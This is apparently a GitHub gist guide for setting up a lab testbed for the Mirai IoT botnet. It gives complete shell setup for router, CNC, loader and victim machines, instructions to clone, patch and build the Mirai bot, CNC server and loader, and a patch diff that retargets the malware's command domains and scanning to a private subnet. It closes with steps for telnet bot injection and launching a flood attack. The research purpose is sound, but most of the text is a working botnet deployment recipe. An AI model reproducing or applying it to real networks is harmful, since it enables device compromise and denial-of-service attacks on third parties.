Skip to content

Instantly share code, notes, and snippets.

@ppoffice

ppoffice/README.md

Last active May 5, 2021
Embed
What would you like to do?
How to setup a Mirai testbed

Overview

  • CNC Server: 192.168.1.12:23 (cnc.local:23)
  • Report Server: 192.168.1.12:48101 (cnc.local:48101)
  • Loader Server: 192.168.1.13
  • Bot Binary Host: http://192.168.1.13:80/bins/mirai.*

Hosts Setup

Router

+----------+-------------+-------------+-----------------------+
| Hostname | router      | OS          | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
|                             Users                            |
+--------------------------------------------------------------+
| Name                   | Password                            |
+------------------------+-------------------------------------+
| ubuntu                 | ubuntu                              |
+------------------------+-------------------------------------+
| root                   | root                                |
+------------------------+-------------------------------------+
|                      Network Interfaces                      |
+--------------------------------------------------------------+
| Name     | IP           | Gateway      | DNS                 |
+----------+--------------+--------------+---------------------+
| ens3     | 192.168.1.11 | 192.168.1.11 | 192.168.1.11        |
+----------+--------------+--------------+---------------------+
| ens4     | DHCP                                              |
+----------+---------------------------------------------------+
sudo apt update && sudo apt upgrade -y

# change host name
echo router | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1       router/' /etc/hosts

# add /etc/udev/rules.d/90-persistent-net.rules to rename interface if necessary
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="xx:xx:xx:xx:xx:xx", NAME="ens4"

# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
    address 192.168.1.11/24
    gateway 192.168.1.11
    dns-nameservers 192.168.1.11
EOF
cat << EOF | sudo tee -a /etc/network/interfaces
auto ens4
iface ens4 inet dhcp
EOF

# router traffic of the subnet to the internet
sudo sed -i "s/.*net.ipv4.ip_forward.*/net.ipv4.ip_forward=1/" /etc/sysctl.conf
sudo sysctl -p  /etc/sysctl.conf
sudo apt install -y iptables-persistent
sudo iptables -t nat -A POSTROUTING -o ens4 -j MASQUERADE
sudo iptables-save | sudo tee /etc/iptables/rules.v4

# install DNS server
sudo apt install dnsmasq -y
# add mirai botnet DNS records
echo "address=/cnc.local/192.168.1.12" | sudo tee -a /etc/dnsmasq.conf

# install compilers and build busybox
sudo apt install -y make gcc
wget https://busybox.net/downloads/busybox-1.30.0.tar.bz2
tar jxf busybox-1.30.0.tar.bz2
rm busybox-1.30.0.tar.bz2
cd busybox-1.30.0/
make defconfig
make
make install
cd ~
# link the busybox to the new one
sudo mv /bin/busybox /bin/busybox.old
sudo ln -s ~/busybox-1.30.0/_install/bin/busybox /bin/busybox

# set the password for the root user
sudo passwd root
# enter root twice

# permit root login for telnet
for i in {0..9}
do
    echo "pts/$i" | sudo tee -a /etc/securetty
done

# add and start telnetd service. Also start it at boot
cat << EOF | sudo tee /etc/systemd/system/telnetd.service
[Unit]
Description=Telnetd service
After=network.target

[Service]
ExecStart=/bin/busybox telnetd -F
Restart=always
RestartSec=1
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=telnetd

[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable telnetd.service

sudo reboot

CNC

+----------+-------------+-------------+-----------------------+
| Hostname | cnc         | OS          | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
|                             Users                            |
+--------------------------------------------------------------+
| Name                   | Password                            |
+------------------------+-------------------------------------+
| ubuntu                 | ubuntu                              |
+------------------------+-------------------------------------+
|                      Network Interfaces                      |
+--------------------------------------------------------------+
| Name     | IP           | Gateway      | DNS                 |
+----------+--------------+--------------+---------------------+
| ens3     | 192.168.1.12 | 192.168.1.11 | 192.168.1.11        |
+----------+--------------+--------------+---------------------+
|                             MySQL                            |
+--------------------------------------------------------------+
| Username | root        | Password    | root                  |
+----------+-------------+-------------+-----------------------+
|                          CNC Telnet                          |
+--------------------------------------------------------------+
| Username | mirai       | Password    | password              |
+----------+-------------+-------------+-----------------------+
cd ~
sudo apt update && sudo apt upgrade -y

# change host name
echo cnc | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1       cnc/' /etc/hosts

# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
    address 192.168.1.12/24
    gateway 192.168.1.11
    dns-nameservers 192.168.1.11
EOF

# add environment variables
echo "export PATH=\$PATH:/usr/local/go/bin" >> ~/.mirairc
echo "export GOPATH=\$HOME/go" >> ~/.mirairc
echo "source ~/.mirairc" >> ~/.bashrc
source ~/.mirairc
# download and install Go and the database
sudo apt install -y git mysql-server mysql-client
wget https://dl.google.com/go/go1.11.4.linux-amd64.tar.gz
sudo tar -zxvf go1.11.4.linux-amd64.tar.gz -C /usr/local/
rm go1.11.4.linux-amd64.tar.gz
# install CNC dependencies
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

# download Mirai source code
git clone https://github.com/jgamblin/Mirai-Source-Code.git
# apply patch
cd ~/Mirai-Source-Code/
wget https://gist.githubusercontent.com/ppoffice/86beb0f90de5aeec75aabd517ebc5e43/raw/63425ad7e30d7a50c8e74d5a4efd0aa7fcc0fc67/mirai.patch
git apply mirai.patch

# configure MySQL
mysql -uroot -proot < scripts/db.sql

# build cnc server and report server
mkdir ~/mirai
go build -o ~/mirai/cnc mirai/cnc/*.go
go build -o ~/mirai/report mirai/tools/scanListen.go

sudo reboot

# start CNC server and report in separate screens
screen -S cnc sudo ~/mirai/cnc
screen -S report ~/mirai/report

Loader

+----------+-------------+-------------+-----------------------+
| Hostname | loader      | OS          | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
|                             Users                            |
+--------------------------------------------------------------+
| Name                   | Password                            |
+------------------------+-------------------------------------+
| ubuntu                 | ubuntu                              |
+------------------------+-------------------------------------+
|                      Network Interfaces                      |
+--------------------------------------------------------------+
| Name     | IP           | Gateway      | DNS                 |
+----------+--------------+--------------+---------------------+
| ens3     | 192.168.1.13 | 192.168.1.11 | 192.168.1.11        |
+----------+--------------+--------------+---------------------+
cd ~
sudo apt update && sudo apt upgrade -y

# change host name
echo loader | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1       loader/' /etc/hosts

# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
    address 192.168.1.13/24
    gateway 192.168.1.11
    dns-nameservers 192.168.1.11
EOF

# download and install the cross compilers
# https://github.com/kribesk/security-project-mirai/blob/master/configs/provision.sh
# Actually, we do not need to compile binaries for architectures other than x86_64 in
# our experiment.
# sudo mkdir /etc/xcompile
# cd /etc/xcompile

# COMPILERS="cross-compiler-armv4l cross-compiler-armv5l cross-compiler-i586 cross-compiler-m68k cross-compiler-mips cross-compiler-mipsel cross-compiler-powerpc cross-compiler-sh4 cross-compiler-sparc"

# for compiler in $COMPILERS; do
#     sudo wget -q https://www.uclibc.org/downloads/binaries/0.9.30.1/${compiler}.tar.bz2 --no-check-certificate
#     if [ -f "${compiler}.tar.bz2" ]; then
#         sudo tar -jxf ${compiler}.tar.bz2
#         sudo rm ${compiler}.tar.bz2
#         echo "export PATH=\$PATH:/etc/xcompile/$compiler/bin" >> ~/.mirairc
#         echo "Compiler $compiler installed"
#     else
#         echo "Can not download $compiler"
#     fi
# done
# echo "source ~/.mirairc" >> ~/.bashrc
# source ~/.mirairc
# cd ~

# install the gcc compiler and git
sudo apt install -y git gcc electric-fence
# set up bot binary file server
sudo apt install -y apache2

# download Mirai source code
git clone https://github.com/jgamblin/Mirai-Source-Code.git
# apply patch
cd ~/Mirai-Source-Code/
wget https://gist.githubusercontent.com/ppoffice/86beb0f90de5aeec75aabd517ebc5e43/raw/63425ad7e30d7a50c8e74d5a4efd0aa7fcc0fc67/mirai.patch
git apply mirai.patch

mkdir -p ~/mirai
# build mirai bot binaries
cd ~/Mirai-Source-Code/mirai/
# we only build x86_64 bot here
#./build.sh release telnet
gcc -std=c99 bot/*.c -DMIRAI_TELNET -static -g -o ~/mirai/mirai.x86
# copy binaries to the HTTP server hosting folder
sudo mkdir -p /var/www/html/bins/
sudo cp ~/mirai/mirai.* /var/www/html/bins/

# build loader
cd ~/Mirai-Source-Code/loader/
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o ~/mirai/loader.dbg

# build dropper (optional since we use wget)
# cd ~/Mirai-Source-Code/dlr/
# chmod +x build.sh
# ./build.sh
# cp release/dlr.* ~/Mirai-Source-Code/loader/bins/

# copy dropper binaries to the same directory of the loader binary
mkdir -p ~/mirai/bins
cp ~/Mirai-Source-Code/loader/bins/* ~/mirai/bins/

sudo reboot

# start loader and feed credentials
cd ~/mirai && ./loader.dbg
# enter 192.168.1.11:23 root:root to start mirai bot injection manually

Victim

+----------+-------------+-------------+-----------------------+
| Hostname | victim      | OS          | Ubuntu Server 16.04.5 |
+----------+-------------+-------------+-----------------------+
|                             Users                            |
+--------------------------------------------------------------+
| Name                   | Password                            |
+------------------------+-------------------------------------+
| ubuntu                 | ubuntu                              |
+------------------------+-------------------------------------+
|                      Network Interfaces                      |
+--------------------------------------------------------------+
| Name     | IP           | Gateway      | DNS                 |
+----------+--------------+--------------+---------------------+
| ens3     | 192.168.1.14 | 192.168.1.11 | 192.168.1.11        |
+----------+--------------+--------------+---------------------+
sudo apt update && sudo apt upgrade -y

# change host name
echo victim | sudo tee /etc/hostname
sudo sed -i 's/127.0.1.1.*/127.0.1.1       victim/' /etc/hosts

# change network settings
sudo sed -i 's/iface ens3 inet dhcp/iface ens3 inet static/' /etc/network/interfaces
cat << EOF | sudo tee -a /etc/network/interfaces
    address 192.168.1.14/24
    gateway 192.168.1.11
    dns-nameservers 192.168.1.11
EOF

sudo reboot

# capture network traffic and observe the attack
sudo tcpdump

Attack

To start attack, telnet into the CNC server and enter mirai as username and password as password. Once logged in, type ? to see all available attack options, e.g., ack 192.168.1.14 10.

diff --git a/loader/src/main.c b/loader/src/main.c
index d44bea3..7dbeaf2 100755
--- a/loader/src/main.c
+++ b/loader/src/main.c
@@ -34,8 +34,8 @@ int main(int argc, char **args)
addrs_len = 2;
addrs = calloc(addrs_len, sizeof (ipv4_t));
- addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
- addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
+ addrs[0] = inet_addr("192.168.1.13"); // Address to bind to
+ // addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
#endif
if (argc == 2)
@@ -50,7 +50,7 @@ int main(int argc, char **args)
}
/* wget address tftp address */
- if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
+ if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "192.168.1.13", 80, "192.168.1.13")) == NULL)
{
printf("Failed to initialize server. Aborting\n");
return 1;
diff --git a/loader/src/server.c b/loader/src/server.c
index 0a44967..60e61dd 100755
--- a/loader/src/server.c
+++ b/loader/src/server.c
@@ -335,7 +335,7 @@ static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
case TELNET_PARSE_PS:
if ((consumed = connection_consume_psoutput(conn)) > 0)
{
- util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
+ util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts | /bin/busybox grep '/dev/'; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_MOUNTS;
}
break;
@@ -467,7 +467,7 @@ static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
}
}
break;
- case TELNET_UPLOAD_ECHO:
+ case TELNET_UPLOAD_ECHO:
consumed = connection_upload_echo(conn);
if (consumed)
{
diff --git a/mirai/bot/killer.c b/mirai/bot/killer.c
index db1860c..1b8428b 100755
--- a/mirai/bot/killer.c
+++ b/mirai/bot/killer.c
@@ -170,6 +170,7 @@ void killer_init(void)
table_unlock_val(TABLE_KILLER_PROC);
table_unlock_val(TABLE_KILLER_EXE);
+ table_unlock_val(TABLE_KILLER_STATUS);
// Store /proc/$pid/exe into exe_path
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
@@ -183,6 +184,7 @@ void killer_init(void)
table_lock_val(TABLE_KILLER_PROC);
table_lock_val(TABLE_KILLER_EXE);
+ table_lock_val(TABLE_KILLER_STATUS);
// Resolve exe_path (/proc/$pid/exe) -> realpath
if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
@@ -218,7 +220,7 @@ void killer_init(void)
printf("[killer] Memory scan match for binary %s\n", exe_path);
#endif
kill(pid, 9);
- }
+ }
/*
if (upx_scan_match(exe_path, status_path))
diff --git a/mirai/bot/main.c b/mirai/bot/main.c
index 8c0510f..3a27568 100755
--- a/mirai/bot/main.c
+++ b/mirai/bot/main.c
@@ -155,11 +155,11 @@ int main(int argc, char **args)
attack_init();
killer_init();
-#ifndef DEBUG
+// #ifndef DEBUG
#ifdef MIRAI_TELNET
scanner_init();
#endif
-#endif
+// #endif
while (TRUE)
{
diff --git a/mirai/bot/resolv.c b/mirai/bot/resolv.c
index ea1f62d..209cfd6 100755
--- a/mirai/bot/resolv.c
+++ b/mirai/bot/resolv.c
@@ -81,7 +81,7 @@ struct resolv_entries *resolv_lookup(char *domain)
util_zero(&addr, sizeof (struct sockaddr_in));
addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
+ addr.sin_addr.s_addr = INET_ADDR(192,168,1,11);
addr.sin_port = htons(53);
// Set up the dns query
diff --git a/mirai/bot/scanner.c b/mirai/bot/scanner.c
index 615aa93..d5170db 100755
--- a/mirai/bot/scanner.c
+++ b/mirai/bot/scanner.c
@@ -674,33 +674,34 @@ static void setup_connection(struct scanner_connection *conn)
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
- uint8_t o1, o2, o3, o4;
+ // uint8_t o1, o2, o3, o4;
+ uint8_t o3, o4;
- do
- {
+ // do
+ // {
tmp = rand_next();
- o1 = tmp & 0xff;
- o2 = (tmp >> 8) & 0xff;
+ // o1 = tmp & 0xff;
+ // o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
- }
- while (o1 == 127 || // 127.0.0.0/8 - Loopback
- (o1 == 0) || // 0.0.0.0/8 - Invalid address space
- (o1 == 3) || // 3.0.0.0/8 - General Electric Company
- (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
- (o1 == 56) || // 56.0.0.0/8 - US Postal Service
- (o1 == 10) || // 10.0.0.0/8 - Internal network
- (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
- (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
- (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
- (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
- (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
- (o1 >= 224) || // 224.*.*.*+ - Multicast
- (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
- );
-
- return INET_ADDR(o1,o2,o3,o4);
+ // }
+ // while (o1 == 127 || // 127.0.0.0/8 - Loopback
+ // (o1 == 0) || // 0.0.0.0/8 - Invalid address space
+ // (o1 == 3) || // 3.0.0.0/8 - General Electric Company
+ // (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
+ // (o1 == 56) || // 56.0.0.0/8 - US Postal Service
+ // (o1 == 10) || // 10.0.0.0/8 - Internal network
+ // (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
+ // (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
+ // (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
+ // (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
+ // (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
+ // (o1 >= 224) || // 224.*.*.*+ - Multicast
+ // (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
+ // );
+
+ return INET_ADDR(192,168,o3,o4);
}
static int consume_iacs(struct scanner_connection *conn)
diff --git a/mirai/bot/table.c b/mirai/bot/table.c
index 13b341e..2429384 100755
--- a/mirai/bot/table.c
+++ b/mirai/bot/table.c
@@ -15,10 +15,10 @@ struct table_value table[TABLE_MAX_KEYS];
void table_init(void)
{
- add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
+ add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4E\x4D\x41\x43\x4E\x22", 10); // cnc.local
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
- add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
+ add_entry(TABLE_SCAN_CB_DOMAIN, "\x41\x4C\x41\x0C\x4E\x4D\x41\x43\x4E\x22", 10); // cnc.local
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);
diff --git a/mirai/cnc/admin.go b/mirai/cnc/admin.go
index 28a2091..c77fd56 100755
--- a/mirai/cnc/admin.go
+++ b/mirai/cnc/admin.go
@@ -5,7 +5,7 @@ import (
"net"
"time"
"strings"
- "io/ioutil"
+ // "io/ioutil"
"strconv"
)
@@ -25,17 +25,17 @@ func (this *Admin) Handle() {
this.conn.Write([]byte("\033[?1049l"))
}()
- headerb, err := ioutil.ReadFile("prompt.txt")
- if err != nil {
- return
- }
+ // headerb, err := ioutil.ReadFile("prompt.txt")
+ // if err != nil {
+ // return
+ // }
- header := string(headerb)
- this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
+ // header := string(headerb)
+ // this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
// Get username
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
- this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
+ this.conn.Write([]byte("\033[34;1mUsername\033[33;3m: \033[0m"))
username, err := this.ReadLine(false)
if err != nil {
return
@@ -43,7 +43,7 @@ func (this *Admin) Handle() {
// Get password
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
- this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
+ this.conn.Write([]byte("\033[34;1mPassword\033[33;3m: \033[0m"))
password, err := this.ReadLine(true)
if err != nil {
return
@@ -53,15 +53,15 @@ func (this *Admin) Handle() {
this.conn.Write([]byte("\r\n"))
spinBuf := []byte{'-', '\\', '|', '/'}
for i := 0; i < 15; i++ {
- this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
+ this.conn.Write(append([]byte("\r\033[37;1mLogging in... \033[31m"), spinBuf[i % len(spinBuf)]))
time.Sleep(time.Duration(300) * time.Millisecond)
}
var loggedIn bool
var userInfo AccountInfo
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
- this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
- this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
+ this.conn.Write([]byte("\r\033[32;1mAn unknown error occurred\r\n"))
+ this.conn.Write([]byte("\033[31mPress any key to exit. (any key)\033[0m"))
buf := make([]byte, 1)
this.conn.Read(buf)
return
diff --git a/mirai/cnc/main.go b/mirai/cnc/main.go
index 670b7a7..f45d62d 100755
--- a/mirai/cnc/main.go
+++ b/mirai/cnc/main.go
@@ -8,7 +8,7 @@ import (
)
const DatabaseAddr string = "127.0.0.1"
-const DatabaseUser string = "root"
+const DatabaseUser string = "mirai"
const DatabasePass string = "password"
const DatabaseTable string = "mirai"
@@ -16,13 +16,13 @@ var clientList *ClientList = NewClientList()
var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)
func main() {
- tel, err := net.Listen("tcp", "0.0.0.0:23")
+ tel, err := net.Listen("tcp4", "0.0.0.0:23")
if err != nil {
fmt.Println(err)
return
}
- api, err := net.Listen("tcp", "0.0.0.0:101")
+ api, err := net.Listen("tcp4", "0.0.0.0:101")
if err != nil {
fmt.Println(err)
return
diff --git a/mirai/tools/scanListen.go b/mirai/tools/scanListen.go
index 948fc6b..fa67496 100755
--- a/mirai/tools/scanListen.go
+++ b/mirai/tools/scanListen.go
@@ -9,7 +9,7 @@ import (
)
func main() {
- l, err := net.Listen("tcp", "0.0.0.0:48101")
+ l, err := net.Listen("tcp4", "0.0.0.0:48101")
if err != nil {
fmt.Println(err)
return
diff --git a/scripts/db.sql b/scripts/db.sql
index 6d873dc..4f90c3e 100644
--- a/scripts/db.sql
+++ b/scripts/db.sql
@@ -1,4 +1,6 @@
+DROP DATABASE IF EXISTS mirai;
CREATE DATABASE mirai;
+USE mirai;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
@@ -34,3 +36,6 @@ CREATE TABLE `whitelist` (
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);
+
+GRANT ALL PRIVILEGES ON mirai.* To 'mirai'@'localhost' IDENTIFIED BY 'password';
+INSERT INTO users VALUES (NULL, 'mirai', 'password', 0, 0, 0, 0, -1, 1, 30, '');
\ No newline at end of file
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment